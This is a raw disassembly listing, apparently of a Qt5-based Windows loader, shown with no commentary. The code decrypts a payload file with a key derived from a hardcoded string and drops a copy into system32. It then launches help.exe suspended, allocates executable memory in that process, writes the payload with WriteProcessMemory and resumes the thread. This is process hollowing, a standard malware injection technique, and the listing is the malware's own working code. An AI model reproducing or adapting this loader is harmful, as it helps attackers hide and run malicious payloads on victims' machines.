imul ecx, edx, 0x3c
sub r8d, ecx
add r8d, 0x3c
test r8d, r8d
jle 0x140003d11
mov ebx, r8d
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Sleep]
sub rbx, r15
jne 0x140003d01
lea rdx, [0x14003fd78]
lea rcx, [rbp + 0xd8]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::constructor_char_const____ptr64____ptr64]
nop
lea rdx, [rbp + 0xd0]
lea rcx, [rbp + 0xd8]
call qword [sym.imp.Qt5Core.dll__toLocal8Bit_QString__QEGBA_AVQByteArray__XZ]
nop
mov r8d, r15d
lea rdx, [rbp + 0xd0]
lea rcx, [rbp + 0xc8]
call qword [sym.imp.Qt5Core.dll_public:_static_class_QByteArray___cdecl_QCryptographicHash::hash_class_QByteArray_const____ptr64__enum_QCryptographicHash::Algorithm_]
nop
mov esi, 0x104
mov r8d, esi
xor edx, edx
lea rcx, [rbp + 0x2c0]
call fcn.14000eae0
mov r8d, esi
lea rdx, [rbp + 0x2c0]
lea rcx, str._SystemRoot__system32config.json
call qword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
lea rdx, str.W5FwgcJr5AUB3Kzl
lea rcx, [rbp + 0xc0]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::constructor_char_const____ptr64____ptr64]
nop
lea rdx, [rbp + 0xb8]
lea rcx, [rbp + 0xc0]
call qword [sym.imp.Qt5Core.dll__toLocal8Bit_QString__QEGBA_AVQByteArray__XZ]
nop
movabs rdx, 0x132e43217b31fd9a
mov r8d, 0xa
lea rcx, [rbp - 0x80]
call qword [sym.imp.Qt5Core.dll_public:_static_class_QByteArray___cdecl_QByteArray::number_long_long___int64___int_]
mov rbx, rax
lea rdx, [rbp + 0xb8]
lea rcx, [rbp + 0x2a0]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QByteArray::constructor_class_QByteArray_const____ptr64____ptr64]
nop
mov rdx, rbx
mov rcx, rax
call qword [sym.imp.Qt5Core.dll_public:_class_QByteArray____ptr64___cdecl_QByteArray::operator_class_QByteArray_const____ptr64____ptr64]
mov rdx, rax
lea rcx, [rsp + 0x60]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QByteArray::constructor_class_QByteArray_const____ptr64____ptr64]
nop
lea rcx, [rbp + 0x2a0]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QByteArray::destructor_void____ptr64]
nop
mov r8d, r15d
lea rdx, [rsp + 0x60]
lea rcx, [rbp + 0xb0]
call qword [sym.imp.Qt5Core.dll_public:_static_class_QByteArray___cdecl_QCryptographicHash::hash_class_QByteArray_const____ptr64__enum_QCryptographicHash::Algorithm_]
nop
lea rcx, [rsp + 0x60]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QByteArray::destructor_void____ptr64]
nop
lea rcx, [rbp - 0x80]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QByteArray::destructor_void____ptr64]
lea rdx, [rbp + 0x2c0]
lea rcx, [rsp + 0x58]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::constructor_char_const____ptr64____ptr64]
nop
lea rcx, [rsp + 0x58]
call qword [sym.imp.Qt5Core.dll_public:_static_bool___cdecl_QFile::exists_class_QString_const____ptr64_]
mov bl, al
lea rcx, [rsp + 0x58]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
test bl, bl
je 0x140003e8a
lea rdx, [rbp + 0x2c0]
lea rcx, [rsp + 0x58]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::constructor_char_const____ptr64____ptr64]
nop
lea rcx, [rsp + 0x58]
call qword [sym.imp.Qt5Core.dll_public:_static_bool___cdecl_QFile::remove_class_QString_const____ptr64_]
nop
lea rcx, [rsp + 0x58]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
lea rdx, [rbp + 0x2c0]
lea rcx, [rbp - 0x68]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::constructor_char_const____ptr64____ptr64]
nop
lea rcx, [rsp + 0x68]
call qword [sym.imp.Qt5Core.dll_public:_static_class_QChar___cdecl_QDir::separator_void_]
movzx ebx, word [rax]
lea rdx, [rbp + 0x28]
lea rcx, [rsp + 0x70]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::constructor_class_QString_const____ptr64____ptr64]
mov rdi, rax
mov dword [rsp + 0x50], 6
movzx edx, bx
lea rcx, [rsp + 0x70]
call qword [sym.imp.Qt5Core.dll_public:_class_QString____ptr64___cdecl_QString::operator_class_QChar____ptr64]
nop
mov rdx, rdi
lea rcx, [rsp + 0x58]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::constructor_class_QString_const____ptr64____ptr64]
mov rbx, rax
mov dword [rsp + 0x50], 0xe
lea rdx, [rbp + 0xe0]
lea rcx, [rsp + 0x58]
call qword [reloc.Qt5Core.dll___YQString__QEAAAEAV0_AEBV0__Z]
lea rdx, [rbp - 0x68]
mov rcx, rbx
call qword [sym.imp.Qt5Core.dll_public:_static_bool___cdecl_QFile::copy_class_QString_const____ptr64__class_QString_const____ptr64_]
nop
lea rcx, [rsp + 0x58]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
nop
lea rcx, [rsp + 0x70]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
nop
lea rcx, [rbp - 0x68]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
lea rdx, [rbp + 0xf0]
lea rcx, [rbp + 8]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QFile::setFileName_class_QString_const____ptr64____ptr64]
mov edx, r15d
lea rcx, [rbp + 8]
call qword [sym.imp.Qt5Core.dll_public_virtual:_bool___cdecl_QFile::open_class_QFlags_enum_QIODevice::OpenModeFlag_____ptr64]
lea rdx, [rbp + 0x20]
lea rcx, [rbp + 8]
call qword [sym.imp.Qt5Core.dll_public:_class_QByteArray___cdecl_QIODevice::readAll_void____ptr64]
nop
lea rcx, [rbp + 8]
call qword [sym.imp.Qt5Core.dll_public_virtual:_void___cdecl_QFileDevice::close_void____ptr64]
lea rcx, [rbp + 0xc8]
call qword [sym.imp.Qt5Core.dll_public:_char_const____ptr64___cdecl_QByteArray::constData_void_const___ptr64]
mov rbx, rax
lea rcx, [rbp + 0xb0]
call qword [sym.imp.Qt5Core.dll_public:_char_const____ptr64___cdecl_QByteArray::constData_void_const___ptr64]
mov rdx, rax
lea rcx, [rbp + 0x1e0]
call fcn.140001260
movups xmm6, xmmword [rbx]
movaps xmmword [rbp + 0x290], xmm6
mov rax, qword [rbp + 0x20]
mov edi, dword [rax + 4]
lea rcx, [rbp + 0x20]
call qword [sym.imp.Qt5Core.dll_public:_char____ptr64___cdecl_QByteArray::data_void____ptr64]
mov rbx, rax
test edi, edi
je 0x140004021
mov ecx, 0x10
cmp rcx, 0x10
jne 0x14000400d
movdqu xmmword [rbp + 0x2a0], xmm6
lea rdx, [rbp + 0x1e0]
lea rcx, [rbp + 0x2a0]
call fcn.1400013d8
mov eax, 0xf
mov cl, byte [rbp + rax + 0x290]
cmp cl, 0xff
jne 0x140003ff9
mov byte [rbp + rax + 0x290], r14b
sub rax, r15
jns 0x140003fde
jmp 0x140004003
add cl, r15b
mov byte [rbp + rax + 0x290], cl
mov rcx, r14
movaps xmm6, xmmword [rbp + 0x290]
mov al, byte [rbp + rcx + 0x2a0]
xor byte [rbx], al
add rbx, r15
add rcx, r15
sub rdi, r15
jne 0x140003fb8
lea rdx, [rbp + 0x20]
lea rcx, [rbp + 0x2a0]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QByteArray::constructor_class_QByteArray_const____ptr64____ptr64]
mov rdi, rax
mov qword [rsp + 0x78], rax
mov rcx, rax
call qword [sym.imp.Qt5Core.dll_public:_char_const____ptr64___cdecl_QByteArray::constData_void_const___ptr64]
mov rbx, rax
lea rcx, [rbp - 0x80]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::constructor_void____ptr64]
nop
mov rdx, rax
mov rcx, rbx
call qword [sym.imp.Qt5Core.dll_public:_static_bool___cdecl_QResource::registerResource_unsigned_char_const____ptr64__class_QString_const____ptr64_]
nop
lea rcx, [rbp - 0x80]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
nop
mov rcx, rdi
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QByteArray::destructor_void____ptr64]
lea rdx, [rbp + 0xf8]
lea rcx, [rbp + 8]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QFile::setFileName_class_QString_const____ptr64____ptr64]
mov edx, r15d
lea rcx, [rbp + 8]
call qword [sym.imp.Qt5Core.dll_public_virtual:_bool___cdecl_QFile::open_class_QFlags_enum_QIODevice::OpenModeFlag_____ptr64]
lea rdx, [rbp + 0x60]
lea rcx, [rbp + 8]
call qword [sym.imp.Qt5Core.dll_public:_class_QByteArray___cdecl_QIODevice::readAll_void____ptr64]
mov rdx, rax
lea rcx, [rbp + 0x38]
call qword [sym.imp.Qt5Core.dll_public:_class_QByteArray____ptr64___cdecl_QByteArray::operator_class_QByteArray____ptr64____ptr64]
lea rcx, [rbp + 0x60]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QByteArray::destructor_void____ptr64]
lea rcx, [rbp + 8]
call qword [sym.imp.Qt5Core.dll_public_virtual:_void___cdecl_QFileDevice::close_void____ptr64]
mov qword [rbp + 0x18], r14
lea rcx, [rbp + 8]
call qword [sym.imp.Qt5Core.dll_public_virtual:_long_long___int64____cdecl_QFile::size_void_const___ptr64]
mov rbx, rax
lea rcx, [rbp + 0x38]
call qword [sym.imp.Qt5Core.dll_public:_char_const____ptr64___cdecl_QByteArray::constData_void_const___ptr64]
mov rcx, rax
mov byte [rsp + 0x20], r14b
xor r9d, r9d
lea r8, [rbp + 0x18]
mov rdx, rbx
call fcn.14000a600
mov rdi, rax
mov r8, rsi
xor edx, edx
lea rcx, [rbp + 0x3d0]
call fcn.14000eae0
mov r8d, esi
lea rdx, [rbp + 0x3d0]
lea rcx, str._SystemRoot__system32help.exe
call qword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x100], xmm0
mov qword [rbp + 0x110], rax
lea ebx, [rax + 0x68]
mov r8d, ebx
xor edx, edx
lea rcx, [rbp + 0x1e0]
call fcn.14000eae0
mov dword [rbp + 0x1e0], ebx
lea rax, str.winsta0default
mov qword [rbp + 0x1f0], rax
mov qword [rsp + 0x50], r14
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
lea r8, [rsp + 0x60]
mov edx, 0xf01ff
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
cmp eax, r15d
jne 0x14000418d
xor r8d, r8d
mov rdx, qword [rsp + 0x60]
lea rcx, [rsp + 0x50]
call qword [sym.imp.USERENV.dll_CreateEnvironmentBlock]
lea rax, [rbp + 0x100]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x1e0]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r14
mov rax, qword [rsp + 0x50]
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], 0x62c
mov dword [rsp + 0x20], r14d
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, [rbp + 0x3d0]
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x1400041f0
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.USERENV.dll_DestroyEnvironmentBlock]
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rbx, qword [rbp + 0x18]
test rdi, rdi
je 0x140004299
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov r8, rbx
xor edx, edx
mov rcx, qword [rbp + 0x100]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rsi, rax
test rax, rax
je 0x140004295
xor r9d, r9d
mov r8, rax
mov rdx, rbx
mov rcx, rdi
call fcn.14000a510
test al, al
je 0x140004295
mov rdx, rsi
mov rcx, rdi
call fcn.1400073f0
mov qword [rbp + 0x2a0], r14
lea rax, [rbp + 0x2a0]
mov qword [rsp + 0x20], rax
mov r9, rbx
mov r8, rdi
mov rdx, rsi
mov rcx, qword [rbp + 0x100]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x140004295
lea r8, [rbp + 0x100]
mov rdx, rsi
mov rcx, rdi
call fcn.140002f34
test al, al
je 0x140004295
mov rcx, qword [rbp + 0x108]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
mov rbx, qword [rbp + 0x18]
mov rdx, rbx
mov rcx, rdi
call fcn.14000a7a0
mov rcx, qword [rbp + 0x108]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp + 0x100]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov ebx, 0xc
mov ecx, 0x1fe
call qword [sym.imp.KERNEL32.dll_Sleep]
sub rbx, r15
jne 0x1400042c3
lea rcx, str.end_n
call fcn.140001d40
nop
lea rcx, [rbp + 0x20]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QByteArray::destructor_void____ptr64]
nop
lea rcx, [rbp + 0xb0]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QByteArray::destructor_void____ptr64]
nop
lea rcx, [rbp + 0xb8]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QByteArray::destructor_void____ptr64]
nop
lea rcx, [rbp + 0xc0]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
nop
lea rcx, [rbp + 0xc8]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QByteArray::destructor_void____ptr64]
nop
lea rcx, [rbp + 0xd0]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QByteArray::destructor_void____ptr64]
nop
lea rcx, [rbp + 0xd8]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
nop
lea rcx, [rbp + 0x180]
call fcn.140001914
nop
lea rcx, [rbp + 0xe0]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
nop
lea rcx, [rbp + 0xf8]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
nop
lea rcx, [rbp + 0xf0]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
nop
lea rcx, [rbp + 0x38]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QByteArray::destructor_void____ptr64]
nop
lea rcx, [rbp + 8]
call qword [sym.imp.Qt5Core.dll_public_virtual:_void___cdecl_QFile::destructor_void____ptr64]
nop
lea rcx, [rbp + 0x28]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
nop
lea rcx, [rbp + 0xe8]
call fcn.140005d68
nop
lea rcx, [rbp + 0x168]
call qword [sym.imp.Qt5Core.dll_public_virtual:_void___cdecl_QCoreApplication::destructor_void____ptr64]
xor eax, eax
mov rcx, qword [rbp + 0x4e0]
xor rcx, rsp
call fcn.14000b330
lea r11, [rsp + 0x600]
mov rbx, qword [r11 + 0x50]
movaps xmm6, xmmword [r11 - 0x10]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret